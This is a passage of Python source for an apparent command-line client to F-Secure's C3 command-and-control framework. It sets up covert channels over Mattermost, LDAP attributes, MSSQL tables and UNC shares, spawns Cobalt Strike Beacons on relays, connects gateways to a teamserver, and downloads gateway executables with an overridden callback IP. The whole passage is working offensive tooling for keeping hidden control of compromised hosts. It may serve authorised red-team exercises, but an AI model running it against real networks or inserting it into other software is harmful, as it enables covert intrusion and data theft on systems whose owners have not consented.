print(f'[+] Network on gateway {gateway["name"]} (id: {gateway["agentId"]}) was cleared.') else: print(f'[-] Network on gateway {gateway["name"]} (id: {gateway["agentId"]}) was not cleared: ({ret.status_code}) {ret.text}') def onCloseNetwork(args): gateways = getRequest(f'/api/gateway') for _gateway in gateways: gateway = getRequest(f'/api/gateway/{_gateway["agentId"]}') if gateway['name'].lower() == args.gateway_id.lower() or gateway['agentId'] == args.gateway_id.lower(): closeNetwork(gateway) def onCloseChannel(args): gateways = getRequest('/api/gateway') channelsToClose = [] for _gateway in gateways: if len(args.gateway_id) > 0: if _gateway["agentId"].lower() != args.gateway_id.lower() and _gateway["name"].lower() != args.gateway_id.lower(): continue gateway = getRequest(f'/api/gateway/{_gateway["agentId"]}') capability = processCapability(gateway) if len(args.gateway_id) > 0: if gateway["agentId"].lower() == args.agent_id.lower() or gateway["name"].lower() == args.agent_id.lower(): for channel in gateway['channels']: name = getDeviceName(gateway, 'channels', channel['type']) if len(args.channel_id) == 0 or (name.lower() == args.channel_id.lower() or channel['iid'] == args.channel_id): _type = 'non-negotiation' if 'isReturnChannel' in channel.keys() and channel['isReturnChannel']: _type = 'grc' elif 'isNegotiationChannel' in channel.keys() and channel['isNegotiationChannel']: _type = 'negotiation' channelsToClose.append({ 'url' : f'/api/gateway/{_gateway["agentId"]}/relay/{relay["agentId"]}/channel/{channel["iid"]}/command', 'name' : name, 'iid' : channel['iid'], 'agent' : relay, 'type' : _type, 'kind' : 'Relay', }) for relay in gateway['relays']: if relay["agentId"].lower() != args.agent_id.lower() and relay["name"].lower() != args.agent_id.lower(): continue for channel in relay['channels']: name = getDeviceName(gateway, 'channels', channel['type']) if len(args.channel_id) == 0 or (name.lower() == args.channel_id.lower() or channel['iid'] == args.channel_id): _type = 'non-negotiation' if 'isReturnChannel' in channel.keys() and channel['isReturnChannel']: _type = 'grc' elif 'isNegotiationChannel' in channel.keys() and channel['isNegotiationChannel']: _type = 'negotiation' channelsToClose.append({ 'url' : f'/api/gateway/{_gateway["agentId"]}/relay/{relay["agentId"]}/channel/{channel["iid"]}/command', 'name' : name, 'iid' : channel['iid'], 'agent' : relay, 'type' : _type, 'kind' : 'Relay', }) if len(channelsToClose) == 0: Logger.fatal('Could not find channels that should have been closed. Try changing search criteria.') for channel in channelsToClose: if channel['type'] == 'grc' and not args.close_grc: continue closeChannel(channel, channel['name']) def onMattermostCreate(args): server_url = args.server_url if server_url.endswith('/'): server_url = server_url[:-1] gateway, relay = findAgent(args.agent_id) if not relay and not gateway: logger.fatal('Could not find agent (Gateway or Relay) which should be used to setup a channel.') url = f'/api/gateway/{gateway["agentId"]}/command' if relay != None: url = f'/api/gateway/{gateway["agentId"]}/relay/{relay["agentId"]}/command' print(f'[.] Will setup a Mattermost channel on a Relay named {relay["name"]} ({relay["agentId"]})') else: print(f'[.] Will setup a Mattermost channel on a Gateway named {gateway["name"]} ({gateway["agentId"]})') secondCommandId = getCommandIdMapping(gateway, 'AddNegotiationChannelMattermost') commandId = getLastGatewayCommandID() Logger.info(f'Issuing a command with ID = {commandId}') data = { "name" : "GatewayCommandGroup", "data" : { "arguments" : [ { "type" : "string", "name" : "Negotiation Identifier", "value" : getValueOrRandom(args.negotiation_id), }, { "type" : "string", "name" : "Mattermost Server URL", "value" : server_url, }, { "type" : "string", "name" : "Mattermost Team Name", "value" : args.team_name }, { "type" : "string", "name" : "Mattermost Access Token", "value" : args.access_token, }, { "type" : "string", "name" : "Channel name", "value" : getValueOrRandom(args.channel_name), }, { "type" : "string", "name" : "User-Agent Header", "value" : args.user_agent, } ], "command" : "AddNegotiationChannelMattermost", "id" : secondCommandId, "name" : "Command", }, 'name' : 'GatewayCommandGroup' } Logger.dbg('Will create Mattermost channel with following parameters:\n\n' + json.dumps(data, indent = 4)) ret = postRequest(url, data, rawResp = True) if ret.status_code == 201: print('[+] Channel was created.') else: print(f'[-] Channel was not created: ({ret.status_code}) {ret.text}') def onLDAPCreate(args): gateway, relay = findAgent(args.agent_id) if not relay and not gateway: logger.fatal('Could not find agent (Gateway or Relay) which should be used to setup a channel.') url = f'/api/gateway/{gateway["agentId"]}/command' if relay != None: url = f'/api/gateway/{gateway["agentId"]}/relay/{relay["agentId"]}/command' print(f'[.] Will setup a LDAP channel on a Relay named {relay["name"]} ({relay["agentId"]})') else: print(f'[.] Will setup a LDAP channel on a Gateway named {gateway["name"]} ({gateway["agentId"]})') secondCommandId = getCommandIdMapping(gateway, 'AddNegotiationChannelLDAP') commandId = getLastGatewayCommandID() Logger.info(f'Issuing a command with ID = {commandId}') data = { "data" : { "arguments" : [ { "type" : "string", "name" : "Negotiation Identifier", "value" : getValueOrRandom(args.negotiation_id), }, { "type" : "string", "name" : "Data LDAP Attribute", "value" : args.data_attribute, }, { "type" : "string", "name" : "Lock LDAP Attribute", "value" : args.lock_attribute }, { "type" : "uint32", "name" : "Max Packet Size", "value" : args.max_size, }, { "type" : "string", "name" : "Domain Controller", "value" : args.domain_controller, }, { "type" : "string", "name" : "Username", "value" : args.username, }, { "type" : "string", "name" : "Password", "value" : args.password, }, { "type" : "string", "name" : "User DN", "value" : args.user_dn, } ], "command" : "AddNegotiationChannelLDAP", "id" : secondCommandId, "name" : "Command", }, 'name' : 'GatewayCommandGroup' } Logger.dbg('Will create LDAP channel with following parameters:\n\n' + json.dumps(data, indent = 4)) ret = postRequest(url, data, rawResp = True) if ret.status_code == 201: print('[+] Channel was created.') else: print(f'[-] Channel was not created: ({ret.status_code}) {ret.text}') def onUncShareFileCreate(args): gateway, relay = findAgent(args.agent_id) if not relay and not gateway: logger.fatal('Could not find agent (Gateway or Relay) which should be used to setup a channel.') url = f'/api/gateway/{gateway["agentId"]}/command' if relay != None: url = f'/api/gateway/{gateway["agentId"]}/relay/{relay["agentId"]}/command' print(f'[.] Will setup a UncShareFile channel on a Relay named {relay["name"]} ({relay["agentId"]})') else: print(f'[.] Will setup a UncShareFile channel on a Gateway named {gateway["name"]} ({gateway["agentId"]})') secondCommandId = getCommandIdMapping(gateway, 'AddNegotiationChannelUncShareFile') commandId = getLastGatewayCommandID() Logger.info(f'Issuing a command with ID = {commandId}') data = { "data" : { "arguments" : [ { "type" : "string", "name" : "Negotiation Identifier", "value" : getValueOrRandom(args.negotiation_id), }, { "type" : "string", "name" : "Filesystem path", "value" : args.filesystem_path, }, { "type" : "boolean", "name" : "Clear", "value" : args.clear, } ], "command" : "AddNegotiationChannelUncShareFile", "id" : secondCommandId, "name" : "Command", }, 'name' : 'GatewayCommandGroup' } Logger.dbg('Will create UncShareFile channel with following parameters:\n\n' + json.dumps(data, indent = 4)) ret = postRequest(url, data, rawResp = True) if ret.status_code == 201: print('[+] Channel was created.') else: print(f'[-] Channel was not created: ({ret.status_code}) {ret.text}') def onMSSQLCreate(args): gateway, relay = findAgent(args.agent_id) if not relay and not gateway: logger.fatal('Could not find agent (Gateway or Relay) which should be used to setup a channel.') url = f'/api/gateway/{gateway["agentId"]}/command' if relay != None: url = f'/api/gateway/{gateway["agentId"]}/relay/{relay["agentId"]}/command' print(f'[.] Will setup a MSSQL channel on a Relay named {relay["name"]} ({relay["agentId"]})') else: print(f'[.] Will setup a MSSQL channel on a Gateway named {gateway["name"]} ({gateway["agentId"]})') secondCommandId = getCommandIdMapping(gateway, 'AddNegotiationChannelMSSQL') commandId = getLastGatewayCommandID() Logger.info(f'Issuing a command with ID = {commandId}') data = { "data" : { "arguments" : [ { "type" : "string", "name" : "Negotiation Identifier", "value" : getValueOrRandom(args.negotiation_id), }, { "type" : "string", "name" : "Server Name", "value" : args.server_name, }, { "type" : "string", "name" : "Database Name", "value" : args.database_name }, { "type" : "string", "name" : "Table Name", "value" : args.table_name, }, { "type" : "string", "name" : "Username", "value" : args.username, }, { "type" : "string", "name" : "Password", "value" : args.password, }, { "type" : "boolean", "name" : "Use Integrated Security (SSPI) - use for domain joined accounts", "value" : args.sspi, } ], "command" : "AddNegotiationChannelMSSQL", "id" : secondCommandId, "name" : "Command", }, 'name' : 'GatewayCommandGroup' } Logger.dbg('Will create MSSQL channel with following parameters:\n\n' + json.dumps(data, indent = 4)) ret = postRequest(url, data, rawResp = True) if ret.status_code == 201: print('[+] Channel was created.') else: print(f'[-] Channel was not created: ({ret.status_code}) {ret.text}') def onSpawnBeacon(args): relays = collectRelays(args) if len(relays) == 0: logger.fatal('Could not find Relay to be used to spawn a Beacon.') for gateway, relay in relays: secondCommandId = getCommandIdMapping(gateway, 'AddPeripheralBeacon') commandId = getLastGatewayCommandID() Logger.info(f'Issuing a command with ID = {commandId}') data = { "name" : "RelayCommandGroup", "data" : { "arguments" : [ { "type" : "string", "name" : "Pipe Name", "value" : getValueOrRandom(args.pipe_name), }, { "type" : "int16", "name" : "Connection trials", "value" : args.trials, }, { "type" : "int16", "name" : "Trials delay", "value" : args.delay } ], "command" : "AddPeripheralBeacon", "id" : secondCommandId, "name" : "Command", }, } Logger.dbg('Will spawn Beacon with following parameters:\n\n' + json.dumps(data, indent = 4)) print(f'[+] Spawning Beacon on relay: {relay["name"]} (id: {relay["agentId"]}) on gateway {gateway["name"]}') ret = postRequest(f'/api/gateway/{gateway["agentId"]}/relay/{relay["agentId"]}/command', data, rawResp = True) if ret.status_code == 201: print('[+] Beacon was spawned.') else: print(f'[-] Beacon could not be spawned: ({ret.status_code}) {ret.text}') def onTurnOnTeamserver(args): gateways = getRequest(f'/api/gateway') gateway = None for _gateway in gateways: g = getRequest(f'/api/gateway/{_gateway["agentId"]}') if g['name'].lower() == args.gateway_id.lower() or g['agentId'] == args.gateway_id.lower(): gateway = g break if not gateway: Logger.fatal(f'Could not find Gateway with specified gateway_id: {args.gateway_id}') commandId = getCommandIdMapping(gateway, "TurnOnConnectorTeamServer") data = { "name":"GatewayCommandGroup", "data": { "id":commandId, "name":"Command", "command":"TurnOnConnectorTeamServer", "arguments": [ { "type":"ip", "name":"Address", "value":args.address }, { "type":"uint16", "name":"Port", "value":args.port } ] } } Logger.dbg(f'Will Turn On connector TeamServer on gateway {gateway["name"]} with following parameters:\n\n' + json.dumps(data, indent = 4)) ret = postRequest(f'/api/gateway/{gateway["agentId"]}/command', data, rawResp = True) if ret.status_code == 201: print('[+] Connection with Teamserver established.') else: print(f'[-] Could not establish connection with Teamserver: ({ret.status_code}) {ret.text}') def onTurnOffConnector(args): gateways = getRequest(f'/api/gateway') gateway = None for _gateway in gateways: g = getRequest(f'/api/gateway/{_gateway["agentId"]}') if g['name'].lower() == args.gateway_id.lower() or g['agentId'] == args.gateway_id.lower(): gateway = g break if not gateway: Logger.fatal(f'Could not find Gateway with specified gateway_id: {args.gateway_id}') data = { "name":"PeripheralCommandGroup", "data": { "id":commandsMap['Close'], "name":"TeamServer", "command":"TurnOff", "arguments": [] } } Logger.dbg(f'Will Turn Off connector TeamServer on gateway {gateway["name"]} with following parameters:\n\n' + json.dumps(data, indent = 4)) ret = postRequest(f'/api/gateway/{gateway["agentId"]}/connector/{args.connector_id}/command', data, rawResp = True) if ret.status_code == 201: print('[+] Closed connection with Connector.') else: print(f'[-] Could not close connection with connector: ({ret.status_code}) {ret.text}') def onDownloadGateway(args): gateway_name = getValueOrRandom(args.gateway_name) _format = 'exe' arch = 'x64' if args.format.lower().startswith('dll'): _format = 'dll' if args.format.lower().endswith('86'): _format = 'x86' print(f'[.] Downloading gateway executable in format {args.format} with name: {gateway_name}') url = f'/api/gateway/{_format}/{arch}?name={gateway_name}' output = getRequest(url, True, stream = True) data = output.content if len(args.override_ip) > 0: data2 = io.BytesIO() with zipfile.ZipFile(io.BytesIO(data), 'r') as f: with zipfile.ZipFile(data2, 'w') as g: for i in f.infolist(): buf = f.read(i.filename) if i.filename.lower().endswith('.json'): conf = json.loads(buf) conf['API Bridge IP'] = args.override_ip buf = json.dumps(conf, indent=4) print(f'[.] Overidden stored in JSON configuration IP address to: {args.override_ip}') g.writestr(i.filename, buf) data = data2.getvalue() if args.extract: with zipfile.ZipFile(io.BytesIO(data), 'r') as f: for i in f.infolist(): outp = os.path.join(args.outfile, os.path.basename(i.filename)) with open(outp, 'wb') as g: g.write(f.read(i.filename)) print('[+] Gateway ZIP package downloaded & extracted.') else: with open(args.outfile, 'wb') as f: f.write(data) print('[+] Gateway ZIP package downloaded.') def parseArgs(argv): global config usage = '\nUsage: ./c3-client.py [options] [...]\n' opts = argparse.ArgumentParser( prog = argv[0], usage = usage ) opts.add_argument('host', help = 'C3 Web API host:port') opts.add_argument('-v', '--verbose', action='store_true', help='Display verbose output.') opts.add_argument('-d', '--debug', action='store_true', help='Display debug output.') opts.add_argument('-f', '--format', choices=['json', 'text'], default='text', help='Output format. Can be JSON or text (default).') opts.add_argument('-n', '--dry-run', action='store_true', help='Do not send any HTTP POST request that could introduce changes in C3 network.') opts.add_argument('-A', '--httpauth', metavar = 'user:pass', default='', help = 'HTTP Basic Authentication (user:pass)') subparsers = opts.add_subparsers(help = 'command help', required = True) # # Alarm # alarm = subparsers.add_parser('alarm', help = 'Alarm options') alarm_sub = alarm.add_subparsers(help = 'Alarm on what?', required = True) alarm_relay = alarm_sub.add_parser('relay', help = 'Trigger an alarm whenever a new Relay checks-in.') alarm_relay.add_argument('-e', '--execute', action='append', default=[], help = 'If new Relay checks in - execute this command. Use following placeholders in your command: , , , , , , , , , , , to customize executed command\'s parameters. Example: powershell -c "Add-Type -AssemblyName System.Speech; $synth = New-Object -TypeName System.Speech.Synthesis.SpeechSynthesizer; $synth.Speak(\'New Relay just checked-in /@\')"') alarm_relay.add_argument('-x', '--webhook', action='append', default=[], help = 'Trigger a Webhook (HTTP POST request) to this URL whenever a new Relay checks-in. The request will contain JSON message with all the fields available, mentioned in --execute option.') alarm_relay.add_argument('-g', '--gateway-id', metavar='gateway_id', default='', help = 'ID (or Name) of the Gateway which Relays should be returned. If not given, will result all relays from all gateways.') alarm_relay.add_argument('-D', '--delay', metavar = 'delay', type=int, default=10, help = 'New relays polling delay-time. Will poll new relays every N seconds. Setting this too low may impact Gateway\'s performance. Default: 10 seconds.') alarm_relay.add_argument('-E', '--command-delay', metavar = 'command_delay', type=int, default=5, help = 'Delay before running a command/triggering a webhook (and between consecutive commands/webhooks). Default: 5 seconds') alarm_relay.set_defaults(func = onAlarmRelay) # # Download # download = subparsers.add_parser('download', help = 'Download options') download_sub = download.add_subparsers(help = 'Download what?', required = True) download_gateway = download_sub.add_parser('gateway', help = 'Download gateway') download_gateway.add_argument('-x', '--extract', action='store_true', help = 'Consider outfile as directory path. Then extract downloaded ZIP file with gateway into that directory.') download_gateway.add_argument('-F', '--format', choices=['exe86', 'exe64', 'dll86', 'dll64'], default='exe64', help = 'Gateway executable format. . Formats: exe, dll. Archs: 86, 64. Default: exe64') download_gateway.add_argument('-G', '--gateway-name', metavar='GATEWAY_NAME', default='random', help = 'Name of the Gateway. Default: random name') download_gateway.add_argument('-O', '--override-ip', metavar='IP', default='', help = 'Override gateway configuration IP stored in JSON. By default will use 0.0.0.0') download_gateway.add_argument('outfile', metavar='outfile', help = 'Where to save output file.') download_gateway.set_defaults(func = onDownloadGateway) # # List # parser_list = subparsers.add_parser('list', help = 'List options') parser_list_sub = parser_list.add_subparsers(help = 'List what?', required = True) list_gateways = parser_list_sub.add_parser('gateways', help = 'List available gateways.') list_gateways.add_argument('-a', '--active', action='store_true', help = 'List only active gateways') list_gateways.set_defaults(func = onListGateways) list_relays = parser_list_sub.add_parser('relays', help = 'List available relays.') list_relays.set_defaults(func = onListRelays) list_relays.add_argument('-a', '--active', action='store_true', help = 'List only active relays') list_relays.add_argument('-g', '--gateway-id', metavar='gateway_id', default='', help = 'ID (or Name) of the Gateway which Relays should be returned. If not given, will result all relays from all gateways.') # # Get # parser_get = subparsers.add_parser('get', help = 'Get options') parser_get_sub = parser_get.add_subparsers(help = 'Get what?', required = True) get_gateway = parser_get_sub.add_parser('gateway', help = 'Get gateway\'s data.') get_gateway.set_defaults(func = onGetGateway) get_gateway.add_argument('name', help = 'Gateway Name or ID') get_relay = parser_get_sub.add_parser('relay', help = 'Get relay\'s data.') get_relay.set_defaults(func = onGetRelay) get_relay.add_argument('name', help = 'Relay Name or ID') get_relay.add_argument('-g', '--gateway-id', metavar='gateway_id', default='', help = 'ID (or Name) of the Gateway runs specified Relay. If not given, will return all relays matching criteria from all gateways.') # # Ping # parser_ping = subparsers.add_parser('ping', help = 'Ping Relays') parser_ping.add_argument('-r', '--relay-id', default='', help = 'Specifies which Relay should be pinged. Can be its ID or name.') parser_ping.add_argument('-g', '--gateway-id', default='', metavar='gateway_id', help = 'ID (or Name) of the Gateway which Relays should be pinged. If not given, will ping all relays in all gateways.') parser_ping.add_argument('-k', '--keep-pinging', metavar='delay', type=int, default=0, help = 'Keep pinging choosen Relays. Will send a ping every "delay" number of seconds. Default: sends ping only once.') parser_ping.set_defaults(func = onPing) # # Jitter # parser_jitter = subparsers.add_parser('jitter', help = 'Set Update Jitter on a channel') parser_jitter.add_argument('min_jitter', type=float, help = 'Min Jitter in seconds to set (float value)') parser_jitter.add_argument('max_jitter', type=float, help = 'Max Jitter in seconds to set (float value)') parser_jitter.add_argument('-c', '--channel-id', default='', help = 'Specifies ID (or Name) of the channel to commander. If not given - will issue specified command to all channels in a Relay. If name is given, will update Jitter on all Channels with that name.') parser_jitter.add_argument('-r', '--relay-id', default='', help = 'Specifies which Relay should be pinged. Can be its ID or name.') parser_jitter.add_argument('-g', '--gateway-id', default='', metavar='gateway_id', help = 'ID (or Name) of the Gateway which Relays should be pinged. If not given, will ping all relays in all gateways.') parser_jitter.set_defaults(func = onJitter) # # Spawn # parser_spawn = subparsers.add_parser('spawn', help = 'Spawn implant options') parser_spawn_sub = parser_spawn.add_subparsers(help = 'What to spawn?', required = True) ### Beacon beacon = parser_spawn_sub.add_parser('beacon', help = 'Spawn new Cobalt Strike Beacon.') beacon.add_argument('relay_id', metavar = 'relay_id', help = 'Relay in which to spawn Beacon. Can be ID or Name.') beacon.add_argument('--pipe-name', metavar = 'pipe_name', default='random', help = 'Beacon Pipe name. Default: random') beacon.add_argument('--trials', metavar = 'trials', type=int, default=10, help = 'Beacon connection trials. Default: 10') beacon.add_argument('--delay', metavar = 'delay', type=int, default=1000, help = 'Beacon connection delay. Default: 1000') beacon.add_argument('-g', '--gateway-id', metavar='gateway_id', default='', help = 'ID (or Name) of the Gateway runs specified Relay. If not given, will return all relays matching criteria from all gateways.') beacon.set_defaults(func = onSpawnBeacon) # # Connector # parser_connector = subparsers.add_parser('connector', help = 'Connector options') parser_connector.add_argument('gateway_id', metavar = 'gateway_id', help = 'Gateway which should be used to manage its connectors.') parser_connector_sub = parser_connector.add_subparsers(help = 'What to do about that Connector?', required = True) ## turnon connector_turnon = parser_connector_sub.add_parser('turnon', help = 'Turn on connector (connects to a Teamserver, Covenant, etc).') connector_turnon_sub = connector_turnon.add_subparsers(help = 'What kind of connector?', required = True) ### Teamserver turnon_connector_teamserver = connector_turnon_sub.add_parser('teamserver', help = 'Teamserver connector specific options.') turnon_connector_teamserver.add_argument('address', metavar = 'address', help = 'Teamserver externalC2 address') turnon_connector_teamserver.add_argument('port', metavar = 'port', help = 'Teamserver externalC2 port') turnon_connector_teamserver.set_defaults(func = onTurnOnTeamserver) ## turnoff connector_turnoff = parser_connector_sub.add_parser('turnoff', help = 'Turn off connector (connects to a Teamserver, Covenant, etc).') connector_turnoff.add_argument('connector_id', metavar = 'connector_id', help = 'Connector\'s ID that should be closed') connector_turnoff.set_defaults(func = onTurnOffConnector) # # Close # parser_close = subparsers.add_parser('close', help = 'Close command.') parser_close_sub = parser_close.add_subparsers(help = 'Close what?', required = True) ## Network close_channel = parser_close_sub.add_parser('network', help = 'Close Network / ClearNetwork.') close_channel.add_argument('gateway_id', metavar = 'gateway_id', help = 'Gateway which network is to be closed. Can be ID or Name.') close_channel.set_defaults(func = onCloseNetwork) ## Channel close_channel = parser_close_sub.add_parser('channel', help = 'Close a channel.') close_channel.add_argument('agent_id', metavar = 'agent_id', help = 'Gateway or Relay that will be used to find a channel to close. Can be ID or Name.') close_channel.add_argument('-G', '--close-grc', action='store_true', help = 'Close Gateway-Return Channel (Non-negotiation one) as well. By default the GRC channel (the one marked with violet icon) will not be closed to avoid losing connectivity with relay.') close_channel.add_argument('-c', '--channel-id', default='', help = 'Specifies ID (or Name) of the channel to commander. If not given - will issue specified command to all channels in a Relay. If name is given, will update Jitter on all Channels with that name.') close_channel.add_argument('-g', '--gateway-id', default='', metavar='gateway_id', help = 'ID (or Name) of the Gateway which Relays should be pinged. If not given, will ping all relays in all gateways.') close_channel.set_defaults(func = onCloseChannel) ## Relay close_channel = parser_close_sub.add_parser('relay', help = 'Close a Relay.') close_channel.add_argument('relay_id', metavar = 'relay_id', help = 'Relay to be closed. Can be ID or Name.') close_channel.add_argument('-g', '--gateway-id', default='', metavar='gateway_id', help = 'ID (or Name) of the Gateway runs specified Relay. If not given, will return all relays matching criteria from all gateways.') close_channel.set_defaults(func = onCloseRelay) # # Channel # parser_channel = subparsers.add_parser('channel', help = 'Send Channel-specific command') parser_channel.add_argument('-c', '--channel-id', default='', help = 'Specifies ID of the channel to commander. If not given - will issue specified command to all channels in a Relay.') parser_channel.add_argument('-r', '--relay-id', default='', help = 'Specifies Relay that runs target channel. Can be its ID or name.') parser_channel.add_argument('-g', '--gateway-id', default='', metavar='gateway_id', help = 'ID (or Name) of the Gateway which Relays should be pinged. If not given, will ping all relays in all gateways.') parser_channel_sub = parser_channel.add_subparsers(help = 'Specify channel', required = True) ## All channels all_channels = parser_channel_sub.add_parser('all', help = 'Commands that are common for all channels.') all_channels_parser = all_channels.add_subparsers(help = 'Command to send', required = True) ### clear all_channels_clear = all_channels_parser.add_parser('clear', help = 'Clear every channel\'s message queue.') all_channels_clear.set_defaults(func = onAllChannelsClear) ## Mattermost mattermost = parser_channel_sub.add_parser('mattermost', help = 'Mattermost channel specific commands.') mattermost_parser = mattermost.add_subparsers(help = 'Command to send', required = True) ### Create mattermost_create = mattermost_parser.add_parser('create', help = 'Setup a Mattermost Negotiation channel.') mattermost_create.add_argument('agent_id', metavar = 'agent_id', help = 'Gateway or Relay that will be used to setup a channel. Can be ID or Name.') mattermost_create.add_argument('server_url', metavar = 'server_url', help = 'Mattermost Server URL, example: http://192.168.0.100:8888') mattermost_create.add_argument('team_name', metavar = 'team_name', help = 'Mattermost Team name where to create channels.') mattermost_create.add_argument('access_token', metavar = 'access_token', help = 'Personal Access Token value.') mattermost_create.add_argument('--negotiation-id', metavar = 'ID', default='random', help = 'Negotiation Identifier. Will be picked at random if left empty.') mattermost_create.add_argument('--channel-name', metavar = 'CHANNEL', default='random', help = 'Channel name to create. Will be picked at random if left empty.') mattermost_create.add_argument('--user-agent', metavar = 'USERAGENT', default='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36', help = 'User-Agent string to use in HTTP requests.') mattermost_create.set_defaults(func = onMattermostCreate) ### Purge mattermost_purge = mattermost_parser.add_parser('clear', help = 'Purge all dangling posts/messages from Mattermost channel.') mattermost_purge.set_defaults(func = onMattermostPurge) ## LDAP ldap = parser_channel_sub.add_parser('ldap', help = 'LDAP channel specific commands.') ldap_parser = ldap.add_subparsers(help = 'Command to send', required = True) ### clear ldap_clear = ldap_parser.add_parser('clear', help = 'Clear LDAP attribute associated with that channel.') ldap_clear.set_defaults(func = onLDAPClear) ### Create ldap_create = ldap_parser.add_parser('create', help = 'Setup a LDAP Negotiation channel.') ldap_create.add_argument('agent_id', metavar = 'agent_id', help = 'Gateway or Relay that will be used to setup a channel. Can be ID or Name.') ldap_create.add_argument('--data-attribute', metavar = 'data_attribute', default = 'mSMQSignCertificates', help = 'Data LDAP Attribute. Default: mSMQSignCertificates') ldap_create.add_argument('--lock-attribute', metavar = 'lock_attribute', default = 'primaryInternationalISDNNumber', help = 'Lock LDAP Attribute. Default: primaryInternationalISDNNumber') ldap_create.add_argument('--max-size', metavar = 'max_size', default = 1047552, type = int, help = 'Max Packet Size. Default: 1047552') ldap_create.add_argument('domain_controller', metavar = 'domain_controller', help = 'Domain Controller.') ldap_create.add_argument('username', metavar = 'username', help = 'LDAP username.') ldap_create.add_argument('password', metavar = 'password', help = 'LDAP password.') ldap_create.add_argument('user_dn', metavar = 'user_dn', help = 'User Distinguished Name, example: CN=Jeff Smith,CN=users,DC=fabrikam,DC=com') ldap_create.add_argument('--negotiation-id', metavar = 'ID', default='random', help = 'Negotiation Identifier. Will be picked at random if left empty.') ldap_create.set_defaults(func = onLDAPCreate) ## MSSQL mssql = parser_channel_sub.add_parser('mssql', help = 'MSSQL channel specific commands.') mssql_parser = mssql.add_subparsers(help = 'Command to send', required = True) ### clear mssql_clear = mssql_parser.add_parser('clear', help = 'Clear channel\'s DB Table.') mssql_clear.set_defaults(func = onMSSQLClearTable) ### Create mssql_create = mssql_parser.add_parser('create', help = 'Setup a MSSQL Negotiation channel.') mssql_create.add_argument('agent_id', metavar = 'agent_id', help = 'Gateway or Relay that will be used to setup a channel. Can be ID or Name.') mssql_create.add_argument('server_name', metavar = 'server_name', help = 'MSSQL Server name') mssql_create.add_argument('database_name', metavar = 'database_name', help = 'Database Name.') mssql_create.add_argument('table_name', metavar = 'table_name', help = 'Table Name.') mssql_create.add_argument('username', metavar = 'username', help = 'Database username.') mssql_create.add_argument('password', metavar = 'password', help = 'Database password.') mssql_create.add_argument('sspi', metavar = 'sspi', type=bool, help = 'Use Integrated Security (SSPI) - use for domain joined accounts. Default: false.') mssql_create.add_argument('--negotiation-id', metavar = 'ID', default='random', help = 'Negotiation Identifier. Will be picked at random if left empty.') mssql_create.set_defaults(func = onMSSQLCreate) ## UncShareFile unc = parser_channel_sub.add_parser('uncsharefile', help = 'UncShareFile channel specific commands.') unc_parser = unc.add_subparsers(help = 'Command to send', required = True) ### clear unc_clear = unc_parser.add_parser('clear', help = 'Clear all message files.') unc_clear.set_defaults(func = onUncShareFileClear) unc_create = unc_parser.add_parser('create', help = 'Setup a Mattermost Negotiation channel.') unc_create.add_argument('agent_id', metavar = 'agent_id', help = 'Gateway or Relay that will be used to setup a channel. Can be ID or Name.') unc_create.add_argument('filesystem_path', metavar = 'filesystem_path', help = 'Filesystem path') unc_create.add_argument('--clear', type=bool, metavar = 'clear', default = False, help = 'Clear previous messages') unc_create.add_argument('--negotiation-id', metavar = 'ID', default='random', help = 'Negotiation Identifier. Will be picked at random if left empty.') unc_create.set_defaults(func = onUncShareFileCreate) ## Dropbox dropbox = parser_channel_sub.add_parser('dropbox', help = 'Dropbox channel specific commands.') dropbox_parser = dropbox.add_subparsers(help = 'Command to send', required = True) ### clear dropbox_clear = dropbox_parser.add_parser('clear', help = 'Clear all files.') dropbox_clear.set_defaults(func = onDropboxClear) ## Dropbox github = parser_channel_sub.add_parser('github', help = 'Github channel specific commands.') github_parser = github.add_subparsers(help = 'Command to send', required = True) ### clear github_clear = github_parser.add_parser('clear', help = 'Clear all files.') github_clear.set_defaults(func = onGithubClear) ## GoogleDrive gdrive = parser_channel_sub.add_parser('googledrive', help = 'GoogleDrive channel specific commands.') gdrive_parser = gdrive.add_subparsers(help = 'Command to send', required = True) ### clear gdrive_clear = gdrive_parser.add_parser('clear', help = 'Clear all files.') gdrive_clear.set_defaults(func = onGoogleDriveClear) try: args = opts.parse_args() except TypeError: opts.parse_args(argv.append('--help')) sys.exit(1) config.update(vars(args)) return args.func(args) def main(argv): print(''' :: F-Secure's C3 Client - a lightweight automated companion with C3 voyages Mariusz Banach / mgeeky, ''') parseArgs(argv) if config['format'] == 'text': print() if __name__ == '__main__': main(sys.argv)